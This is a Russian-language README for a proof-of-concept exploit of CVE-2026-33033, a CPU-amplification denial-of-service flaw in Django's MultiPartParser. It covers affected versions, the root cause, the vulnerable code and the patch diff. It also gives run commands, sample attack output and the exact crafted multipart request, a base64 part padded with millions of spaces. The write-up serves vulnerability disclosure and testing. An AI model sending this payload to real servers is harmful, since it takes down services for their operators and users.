
Эксплойт proof-of-concept для CVE-2026-33033 — уязвимости типа «отказ в обслуживании» в MultiPartParser фреймворка Django через усиление нагрузки на ЦП при обработке пробелов в base64, демонстрирующий усиление примерно в 800 раз с помощью одного HTTP-запроса.
Отказ в обслуживании через усиление нагрузки на ЦП с помощью пробелов в base64 в MultiPartParser Django
Один HTTP-запрос размером 2,5 МБ может занять рабочий процесс Django на ~5 секунд, обеспечивая ~2100-кратное усиление нагрузки на ЦП по сравнению с обычным запросом того же размера. Аутентификация не требуется.
Эта уязвимость была исправлена в релизе безопасности Django 6.0.4 (7 апреля 2026 г.), а также перенесена во все поддерживаемые ветки.
| Ветка | Затронута | Исправлена |
|---|
| Django 6.0.x | <= 6.0.3 | 6.0.4 |
| Django 5.2.x | <= 5.2.11 | 5.2.12 |
| Django 5.1.x | <= 5.1.x | 5.1.16 |
| Django 5.0.x | <= 5.0.14 | 5.0.15 |
| Django 4.2.x | <= 4.2.28 | 4.2.29 |
CVE-2026-33033: Потенциальная уязвимость отказа в обслуживании в
MultiPartParserчерез загрузку файлов, закодированных в base64 (Серьёзность: Умеренная)При использовании
django.http.multipartparser.MultiPartParserмногокомпонентные загрузки сContent-Transfer-Encoding: base64, содержащие чрезмерное количество пробелов, могут вызывать повторное копирование памяти, что потенциально снижает производительность.
| CVE | Серьёзность | Описание |
|---|---|---|
| CVE-2026-3902 | Низкая | Подмена заголовков ASGI из-за смешения подчёркивания и дефиса |
| CVE-2026-4277 | Низкая | Злоупотребление привилегиями в GenericInlineModelAdmin |
| CVE-2026-4292 | Низкая | Злоупотребление привилегиями в ModelAdmin.list_editable |
| CVE-2026-33034 | Низкая | Обход ограничения памяти загрузки ASGI из-за отсутствия Content-Length |
MultiPartParser в Django имеет специальный путь кода для обработки частей файлов с Content-Transfer-Encoding: base64. После удаления пробелов из каждого фрагмента, если результат не выровнен по кратности 4 байтам, цикл while вызывает field_stream.read(1) для получения дополнительных байтов по одному.
Когда тело файла состоит почти полностью из пробелов, каждый полученный байт удаляется до нуля, поэтому цикл продолжается — вызывая read(1) один раз на каждый пробельный байт. Ключевой момент в том, что каждый read(1) гораздо дороже, чем кажется:
Уровень 1: цикл выравнивания base64 вызывает read(1) на каждый пробельный байт
|
Уровень 2: LazyStream.read(1) получает весь остаток (~64 КБ), нарезает 1 байт,
возвращает ~64 КБ - 1 обратно --> копирование O(C) байт за вызов
|
Уровень 3: unget() выполняет self._leftover = bytes + self._leftover
создавая новый объект bytes каждый раз --> memcpy ~C байт
Для каждого фрагмента 64 КБ работа по копированию образует арифметическую прогрессию:
Итого = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2,15 миллиарда байтовых операций
Для входных данных 2,5 МБ (~40 фрагментов): ~86 миллиардов байт работы memcpy из одного HTTP-запроса.
Django включает _update_unget_history(), который вызывает SuspiciousMultipartForm, если одно и то же количество байтов возвращается 40+ раз за 50 операций. Однако в этой атаке размеры unget монотонно убывают (65535, 65534, 65533, ...), поэтому каждый размер уникален, и проверка никогда не срабатывает.
Промежуточное ПО CSRF обращается к request.POST до запуска любого представления, поэтому даже конечные точки, возвращающие 403, несут полную стоимость разбора.
CVE-2026-33033-PoC/
├── README.md # Этот файл
├── LICENSE
├── requirements.txt # Зависимости Python
├── exploit.py # Скрипт эксплойта
└── victim/ # Уязвимый сервер Django
├── manage.py
├── uwsgi.ini # Конфигурация развёртывания uWSGI
└── victim/
├── __init__.py
├── settings.py # Настройки Django по умолчанию (специальная конфигурация не требуется)
├── urls.py # Конечные точки /upload и /health
└── wsgi.py
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Вариант A: Сервер разработки Django (самый быстрый)
cd victim
python manage.py runserver 0.0.0.0:8000
Вариант B: uWSGI (более реалистичный — использует 4 рабочих процесса)
cd victim
uwsgi --ini uwsgi.ini
В отдельном терминале:
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload
Параметры:
| Флаг | По умолчанию | Описание |
|---|---|---|
--target | http://127.0.0.1:8000/upload | Целевая конечная точка загрузки |
--size | 2621440 (2,5 МБ) | Размер полезной нагрузки в байтах |
--rounds | 3 | Количество раундов атаки |
============================================================
CVE-2026-33033 PoC
Отказ в обслуживании через усиление нагрузки на ЦП
с помощью пробелов в base64 в Django MultiPartParser
============================================================
Цель: http://127.0.0.1:8000/upload
Размер полезной нагрузки: 2 621 440 байт (2,5 МБ)
Раунды: 3
[*] Проверка работоспособности сервера...
[+] Сервер работает.
------------------------------------------------------------
[*] Фаза 1: Отправка БЕЗВРЕДНОГО запроса (обычные данные base64)
------------------------------------------------------------
Статус: 200
Время: 5,55 мс
------------------------------------------------------------
[*] Фаза 2: Отправка ВРЕДОНОСНЫХ запросов (base64 + пробелы)
------------------------------------------------------------
Раунд 1/3:
Статус: 200
Время: 4571,12 мс
...
============================================================
РЕЗУЛЬТАТЫ
============================================================
Безвредный запрос: 5,55 мс
Среднее время атаки: 4571,12 мс (за 3 раунда)
Усиление: 823x
[!] УЯЗВИМО: Среднее время атаки превышает 1 секунду.
Один запрос 2,5 МБ занимает рабочий процесс на ~4,6 с.
С 4 рабочими процессами всего 4 одновременных запроса могут вызвать DoS сервера.
Эксплойт формирует тело POST-запроса multipart/form-data с одной частью файла:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552
------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
AAA<2 621 433 пробела>A
------CVE2026-33033--
AAA делают stripped_chunk = b"AAA" (3 байта), поэтому remaining = 3 % 4 = 3.field_stream.read(1) для получения ещё 1 байта для выравнивания.b"".join(b" ".split()) == b""), сохраняя remaining = 3.LazyStream.read(1) внутренне копирует ~64 КБ через механизм unget.django/http/multipartparser.py, строки 302-325 (Django 5.0.x):
for chunk in field_stream:
if transfer_encoding == "base64":
stripped_chunk = b"".join(chunk.split())
remaining = len(stripped_chunk) % 4
while remaining != 0:
over_chunk = field_stream.read(4 - remaining) # <-- read(1)
if not over_chunk:
break
stripped_chunk += b"".join(over_chunk.split()) # удаляется до пустоты
remaining = len(stripped_chunk) % 4 # остаётся 3
Исправление (применено в Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) заменяет цикл read(1) по одному байту на массовое read(self._chunk_size):
- stripped_chunk = b"".join(chunk.split())
+ stripped_parts = [b"".join(chunk.split())]
+ stripped_length = len(stripped_parts[0])
- remaining = len(stripped_chunk) % 4
- while remaining != 0:
- over_chunk = field_stream.read(4 - remaining)
+ while stripped_length % 4 != 0:
+ over_chunk = field_stream.read(self._chunk_size)
if not over_chunk:
break
- stripped_chunk += b"".join(over_chunk.split())
- remaining = len(stripped_chunk) % 4
+ over_stripped = b"".join(over_chunk.split())
+ stripped_parts.append(over_stripped)
+ stripped_length += len(over_stripped)
+
+ stripped_chunk = b"".join(stripped_parts)
Ключевые изменения:
read(4 - remaining) → read(self._chunk_size) — читает по 64 КБ за раз вместо 1-3 байт, сокращая количество вызовов read с ~2,5 миллионов до ~40.stripped_chunk += ... → stripped_parts.append(...) + финальный b"".join() — избегает потенциальной квадратичной конкатенации байтов.len(stripped_chunk) % 4 → счётчик stripped_length — избегает избыточного пересчёта длины.Эта proof-of-concept предоставлена только для образовательных целей и авторизованного тестирования безопасности. Используйте её ответственно и только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
Apache License 2.0 — см. LICENSE.